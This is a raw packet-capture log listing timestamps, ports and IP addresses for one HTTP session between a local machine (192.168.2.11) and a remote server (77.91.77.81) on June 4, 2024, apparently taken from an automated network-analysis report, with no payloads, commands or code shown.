Jun 4, 2024 23:09:16.581434011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581439972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581446886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581459999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581473112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581474066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581485987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581497908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581501961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581510067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581521034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581525087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581537962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581542969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581556082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581569910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581569910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581583977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581597090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581598043 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581610918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581612110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581624985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581638098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581644058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581650019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581664085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581671953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581680059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581692934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581693888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581708908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581715107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581723928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581737041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581742048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581749916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581763983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581773996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581779957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581793070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581799030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581814051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581821918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581831932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581845999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581851959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581861973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581870079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581873894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581886053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581897020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581897974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581911087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581923008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581923962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581937075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581942081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581955910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581968069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581969023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581981897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581994057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582000017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582007885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582020998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582020998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582032919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582034111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582046986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582062006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582062960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582075119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582087040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582089901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582103014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582103014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582123995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582132101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582138062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582149029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582159996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582165956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582175016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582186937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582190037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582201958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582202911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582215071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582227945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582228899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582240105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582256079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582261086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582274914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582279921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582293987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582300901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582308054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582320929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582326889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582334042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582343102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582346916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582359076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582371950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582375050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582384109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582395077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582400084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582411051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582412958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582427979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582437992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582447052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582463980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582467079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582487106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582487106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582499981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582510948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582514048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582525969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582532883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582539082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582551956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582557917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582566023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582577944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582582951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582591057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582602978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582614899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582617044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582629919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582640886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582643032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582653999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582654953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582667112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582679987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582683086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582693100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582705975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582709074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582721949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582722902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582735062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582747936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582751036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582760096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582772017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582777977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582784891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582804918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582804918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582813025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582833052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582838058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582847118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582851887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582863092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582870007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582875013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582885981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582889080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582901001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582904100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582915068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582916975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582928896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582930088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582942009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582942963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582954884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582961082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582974911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.582978964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582998037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.582999945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583010912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583022118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583024979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583038092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583039045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583050966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583051920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583065033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583065987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583080053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583085060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583091974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583105087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583110094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583117962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583128929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583132982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583156109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583157063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583167076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583174944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583189964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583194971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583203077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583209038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583216906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583228111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583230972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583244085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583244085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583257914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583257914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583270073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583273888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583281994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583292007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583296061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583311081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583317041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583329916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583333969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583344936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583355904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583359003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583370924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583372116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583385944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583388090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583398104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583400965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583410025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583420992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583422899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583436012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583442926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583451986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583456993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583470106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583482027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583491087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583494902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583508968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583511114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583524942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583530903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583538055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583550930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583555937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583563089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583569050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583579063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583581924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583590031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583591938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583605051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583606005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583617926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583620071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583631992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583652020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583657026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583671093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583681107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583684921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583695889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583703995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583709955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583720922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583726883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583734035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583746910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583749056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583760977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583761930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583772898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583785057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583791971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583797932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583813906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583818913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583827019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583838940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583853960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583858967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583868027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583878994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583880901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583894014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583895922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583905935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583910942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583919048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583923101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583933115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583945990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583949089 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583961964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583971977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583982944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.583990097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.583997011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584009886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584021091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584024906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584038019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584052086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584059954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584059954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584064960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584080935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584084034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584089041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584098101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584105968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584111929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584125042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584146023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584146976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584157944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584177017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584180117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584192038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584198952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584212065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584219933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584228039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584233046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584239960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584253073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584253073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584261894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584268093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584283113 CEST	80	49713	77.91.77.81	192.168.2.11
